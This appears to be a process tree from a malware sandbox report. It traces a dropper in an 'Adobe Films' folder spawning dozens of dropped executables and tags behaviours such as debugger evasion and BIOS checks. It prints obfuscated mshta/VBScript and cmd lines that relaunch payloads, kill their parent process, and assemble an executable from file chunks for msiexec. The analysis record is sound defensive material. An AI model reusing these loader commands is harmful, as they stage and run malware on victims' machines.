C:\Users\Admin\Pictures\Adobe Films\MLUDkq5cWj5XgscvAqcRbvkD.exe"C:\Users\Admin\Pictures\Adobe Films\MLUDkq5cWj5XgscvAqcRbvkD.exe"2⤵
- Executes dropped EXE
PID:4280 -
C:\Users\Admin\AppData\Roaming\2959495.exe"C:\Users\Admin\AppData\Roaming\2959495.exe"3⤵PID:348
-
-
C:\Users\Admin\AppData\Roaming\8380704.exe"C:\Users\Admin\AppData\Roaming\8380704.exe"3⤵PID:2200
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵PID:1776
-
-
-
C:\Users\Admin\AppData\Roaming\8381407.exe"C:\Users\Admin\AppData\Roaming\8381407.exe"3⤵PID:4192
-
-
C:\Users\Admin\AppData\Roaming\8979325.exe"C:\Users\Admin\AppData\Roaming\8979325.exe"3⤵PID:4564
-
-
C:\Users\Admin\AppData\Roaming\7852216.exe"C:\Users\Admin\AppData\Roaming\7852216.exe"3⤵PID:408
-
C:\Users\Admin\AppData\Roaming\8343566.exe"C:\Users\Admin\AppData\Roaming\8343566.exe"4⤵PID:1248
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: CLOSe ( CREateoBjECt ("WscrIPT.ShELl" ). RuN("cmd /R COpy /Y ""C:\Users\Admin\AppData\Roaming\8343566.exe"" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF """" == """" for %v iN ( ""C:\Users\Admin\AppData\Roaming\8343566.exe"" ) do taskkill -IM ""%~NXv"" /F " , 0, TRuE) )5⤵PID:4832
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COpy /Y "C:\Users\Admin\AppData\Roaming\8343566.exe" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF "" == "" for %v iN ("C:\Users\Admin\AppData\Roaming\8343566.exe" ) do taskkill -IM "%~NXv" /F6⤵PID:4496
-
C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exEUvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E7⤵PID:4100
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: CLOSe ( CREateoBjECt ("WscrIPT.ShELl" ). RuN("cmd /R COpy /Y ""C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE"" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF ""-pkJzup02N2uLj2E "" == """" for %v iN ( ""C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE"" ) do taskkill -IM ""%~NXv"" /F " , 0, TRuE) )8⤵PID:4744
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COpy /Y "C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF "-pkJzup02N2uLj2E " == "" for %v iN ("C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE" ) do taskkill -IM "%~NXv" /F9⤵PID:4352
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRipT: Close ( creatEobJEcT ( "wsCriPT.ShEll"). RUn( "cMd.Exe /C echO dPPgqC:\Users\Admin\AppData\RoamingJfp> ubQM.U & eCho | sET /P = ""MZ"" > aDE8.34 & CopY /B /y aDe8.34 + GCB~m_.PJ+ NrTw.Mq + Y14qE.K + CPWM.WE + BAN3N.L + uBQM.u LSSVZU.yk~ &StArt msiexec -y .\LsSVZU.yK~ " ,0, trUe) )8⤵PID:5776
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C echO dPPgqC:\Users\Admin\AppData\RoamingJfp> ubQM.U & eCho | sET /P = "MZ" > aDE8.34& CopY /B /y aDe8.34 +GCB~m_.PJ+ NrTw.Mq+Y14qE.K + CPWM.WE + BAN3N.L+ uBQM.u LSSVZU.yk~ &StArt msiexec -y .\LsSVZU.yK~9⤵PID:6024
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCho "10⤵PID:3188
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>aDE8.34"10⤵PID:4744
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y .\LsSVZU.yK~10⤵PID:5512
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "8343566.exe" /F7⤵
- Kills process with taskkill
PID:5148
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\3431924.exe"C:\Users\Admin\AppData\Roaming\3431924.exe"4⤵PID:1280
-
-
-
C:\Users\Admin\AppData\Roaming\2058188.exe"C:\Users\Admin\AppData\Roaming\2058188.exe"3⤵PID:628
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GmrnxltQVK9R52zRWKxQSvAY.exe"C:\Users\Admin\Pictures\Adobe Films\GmrnxltQVK9R52zRWKxQSvAY.exe"2⤵
- Executes dropped EXE
PID:4424 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 6603⤵
- Program crash
PID:2128
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 6763⤵
- Program crash
PID:1292
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 8083⤵
- Program crash
PID:688
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 7883⤵
- Program crash
PID:2984
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 11083⤵
- Program crash
PID:3516
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Li4YdSUW_GqmofDnHX7v0ZQV.exe"C:\Users\Admin\Pictures\Adobe Films\Li4YdSUW_GqmofDnHX7v0ZQV.exe"2⤵
- Executes dropped EXE
PID:924
-
-
C:\Users\Admin\Pictures\Adobe Films\SR2EVWVNOaszObklXQZUhP0A.exe"C:\Users\Admin\Pictures\Adobe Films\SR2EVWVNOaszObklXQZUhP0A.exe"2⤵
- Executes dropped EXE
PID:868
-
-
C:\Users\Admin\Pictures\Adobe Films\Hv_aMQDtiIFBcvRIOfNBIqlk.exe"C:\Users\Admin\Pictures\Adobe Films\Hv_aMQDtiIFBcvRIOfNBIqlk.exe"2⤵
- Executes dropped EXE
PID:700
-
-
C:\Users\Admin\Pictures\Adobe Films\GXhHM2B0NwNbdVS7ZZsWY_Xy.exe"C:\Users\Admin\Pictures\Adobe Films\GXhHM2B0NwNbdVS7ZZsWY_Xy.exe"2⤵
- Executes dropped EXE
PID:828 -
C:\Users\Admin\Pictures\Adobe Films\GXhHM2B0NwNbdVS7ZZsWY_Xy.exe"C:\Users\Admin\Pictures\Adobe Films\GXhHM2B0NwNbdVS7ZZsWY_Xy.exe"3⤵PID:2572
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ArTGrNYKjH9BdDFKYepIV198.exe"C:\Users\Admin\Pictures\Adobe Films\ArTGrNYKjH9BdDFKYepIV198.exe"2⤵
- Executes dropped EXE
PID:1344
-
-
C:\Users\Admin\Pictures\Adobe Films\xZihVmWW4jFiVgN9YPNIvOA_.exe"C:\Users\Admin\Pictures\Adobe Films\xZihVmWW4jFiVgN9YPNIvOA_.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1888
-
-
C:\Users\Admin\Pictures\Adobe Films\U46oRgHSm5SzsDZqJog2tkyw.exe"C:\Users\Admin\Pictures\Adobe Films\U46oRgHSm5SzsDZqJog2tkyw.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1812 -
C:\Program Files (x86)\Company\NewProduct\inst2.exe"C:\Program Files (x86)\Company\NewProduct\inst2.exe"3⤵
- Executes dropped EXE
PID:4876
-
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"3⤵
- Executes dropped EXE
PID:1580
-
-
C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"3⤵PID:5048
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Llar205MZUrc7hsOOsmlUBMk.exe"C:\Users\Admin\Pictures\Adobe Films\Llar205MZUrc7hsOOsmlUBMk.exe"2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3176
-
-
C:\Users\Admin\Pictures\Adobe Films\tBUHSd8qIT1OGDwG7mwttjDs.exe"C:\Users\Admin\Pictures\Adobe Films\tBUHSd8qIT1OGDwG7mwttjDs.exe"2⤵
- Executes dropped EXE
PID:2668
-
-
C:\Users\Admin\Pictures\Adobe Films\SzJnvn05jGu2CkjVQkTnUUMd.exe"C:\Users\Admin\Pictures\Adobe Films\SzJnvn05jGu2CkjVQkTnUUMd.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3452 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵PID:4092
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3452 -s 5363⤵
- Program crash
PID:1432
-
-
-
C:\Users\Admin\Pictures\Adobe Films\lQ1OgmcBnTFny2UBHXS2f7H5.exe"C:\Users\Admin\Pictures\Adobe Films\lQ1OgmcBnTFny2UBHXS2f7H5.exe"2⤵
- Executes dropped EXE
PID:4560
-
-
C:\Users\Admin\Pictures\Adobe Films\bWcTSw3qAe5hUvgHIaishStJ.exe"C:\Users\Admin\Pictures\Adobe Films\bWcTSw3qAe5hUvgHIaishStJ.exe"2⤵
- Executes dropped EXE
PID:4840
-
-
C:\Users\Admin\Pictures\Adobe Films\iVJ5hluUYsTJ8nTIJFauLXvI.exe"C:\Users\Admin\Pictures\Adobe Films\iVJ5hluUYsTJ8nTIJFauLXvI.exe"2⤵
- Executes dropped EXE
PID:4872
-
-
C:\Users\Admin\Pictures\Adobe Films\WknjO9PiK4BW6Xb7klP27jmR.exe"C:\Users\Admin\Pictures\Adobe Films\WknjO9PiK4BW6Xb7klP27jmR.exe"2⤵
- Executes dropped EXE
PID:2316 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵PID:4600
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Ym_o7DJwy61a8x2GzBKizvwV.exe"C:\Users\Admin\Pictures\Adobe Films\Ym_o7DJwy61a8x2GzBKizvwV.exe"2⤵
- Executes dropped EXE
PID:4916
-
-
C:\Users\Admin\Pictures\Adobe Films\vL4zbMMm2J337KSHzmAUdLA3.exe"C:\Users\Admin\Pictures\Adobe Films\vL4zbMMm2J337KSHzmAUdLA3.exe"2⤵
- Executes dropped EXE
PID:4308 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 4003⤵
- Program crash
PID:4548
-
-
-
C:\Users\Admin\Pictures\Adobe Films\1L0L9AuQADPgbsT83QNt8EXC.exe"C:\Users\Admin\Pictures\Adobe Films\1L0L9AuQADPgbsT83QNt8EXC.exe"2⤵
- Executes dropped EXE
PID:4316 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4316 -s 3963⤵
- Program crash
PID:2100
-
-
-
C:\Users\Admin\Pictures\Adobe Films\UnuRws0yHJWCejjuHnUTjnhN.exe"C:\Users\Admin\Pictures\Adobe Films\UnuRws0yHJWCejjuHnUTjnhN.exe"2⤵PID:4764
-
-
C:\Users\Admin\AppData\Local\Temp\is-CK76O.tmp\UnuRws0yHJWCejjuHnUTjnhN.tmp"C:\Users\Admin\AppData\Local\Temp\is-CK76O.tmp\UnuRws0yHJWCejjuHnUTjnhN.tmp" /SL5="$401F0,506127,422400,C:\Users\Admin\Pictures\Adobe Films\UnuRws0yHJWCejjuHnUTjnhN.exe"1⤵PID:3276
-
C:\Users\Admin\AppData\Local\Temp\is-CMFN7.tmp\lakazet.exe"C:\Users\Admin\AppData\Local\Temp\is-CMFN7.tmp\lakazet.exe" /S /UID=27092⤵PID:4044
-
C:\Users\Admin\AppData\Local\Temp\eb-776fb-a11-a9cb6-175e3649cd1c4\Saedexaeshuny.exe"C:\Users\Admin\AppData\Local\Temp\eb-776fb-a11-a9cb6-175e3649cd1c4\Saedexaeshuny.exe"3⤵PID:5520
-
-
C:\Users\Admin\AppData\Local\Temp\5f-292f1-344-2f7a0-4ba6126c18a5a\Jisapivixe.exe"C:\Users\Admin\AppData\Local\Temp\5f-292f1-344-2f7a0-4ba6126c18a5a\Jisapivixe.exe"3⤵PID:5692
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lnx1kxow.cjx\installer.exe /qn CAMPAIGN="654" & exit4⤵PID:2620
-
C:\Users\Admin\AppData\Local\Temp\lnx1kxow.cjx\installer.exeC:\Users\Admin\AppData\Local\Temp\lnx1kxow.cjx\installer.exe /qn CAMPAIGN="654"5⤵PID:1068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hvjk3tly.y5h\any.exe & exit4⤵PID:5156
-
C:\Users\Admin\AppData\Local\Temp\hvjk3tly.y5h\any.exeC:\Users\Admin\AppData\Local\Temp\hvjk3tly.y5h\any.exe5⤵PID:5872
-
C:\Users\Admin\AppData\Local\Temp\hvjk3tly.y5h\any.exe"C:\Users\Admin\AppData\Local\Temp\hvjk3tly.y5h\any.exe" -u6⤵PID:6364
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nqspqhlt.zo3\autosubplayer.exe /S & exit4⤵PID:5852
-
-
-
C:\Program Files\Windows Photo Viewer\ESVLOLTNNR\foldershare.exe"C:\Program Files\Windows Photo Viewer\ESVLOLTNNR\foldershare.exe" /VERYSILENT3⤵PID:5820
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6116
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6092
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:6728